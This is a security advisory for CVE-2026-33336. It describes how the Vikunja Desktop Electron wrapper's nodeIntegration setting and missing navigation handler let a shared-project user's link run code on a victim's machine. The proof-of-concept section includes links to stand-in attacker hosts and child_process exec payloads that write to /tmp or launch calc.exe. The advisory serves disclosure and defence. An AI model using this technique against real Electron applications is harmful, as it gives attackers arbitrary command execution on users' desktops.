CVE-2026-33336

Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue.

## Root cause

Two misconfigurations combine to create this vulnerability:

1. **`nodeIntegration: true`** is set in `BrowserWindow` web preferences (`desktop/main.js:14-16`), giving any page loaded in the renderer full access to Node.js APIs (`require`, `child_process`, `fs`, etc.).

2. **No `will-navigate` or `will-redirect` handler** is registered on the `webContents`. The existing `setWindowOpenHandler` (`desktop/main.js:19-23`) only intercepts `window.open()` calls (new-window requests). It does **not** intercept same-window navigations triggered by:

- `<a href="https://...">` links (without `target="_blank"`)

- `window.location` assignments

- HTTP redirects

- `<meta http-equiv="refresh">` tags

## Attack scenario

1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project).

2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: `<a href="https://evil.example/exploit">Click here for the updated design spec</a>`

3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: `frontend/src/views/project/ProjectInfo.vue` uses `v-html` with DOMPurify-sanitized output.

4. The victim uses Vikunja Desktop and clicks the link.

5. Because no `will-navigate` handler exists, the BrowserWindow navigates to `https://evil.example/exploit` in the same renderer process.

6. The attacker's page now executes in a context with `nodeIntegration: true` and runs: `require('child_process').exec('id > /tmp/pwned');`

7. Arbitrary commands execute as the victim's OS user.

## Impact

Full remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.

## Proof of concept

1. Set up a Vikunja instance with two users sharing a project.

2. As the attacker user, edit a project description to include: `<a href="https://attacker.example/poc.html">Meeting notes</a>`

3. Host poc.html with: `<script>require('child_process').exec('calc.exe')</script>`

4. As the victim, open the project in Vikunja Desktop and click the link.

5. calc.exe (or any other command) executes on the victim's machine.

## Credits

This vulnerability was found using [GitHub Security Lab Taskflows](https://github.com/GitHubSecurityLab/seclab-taskflows).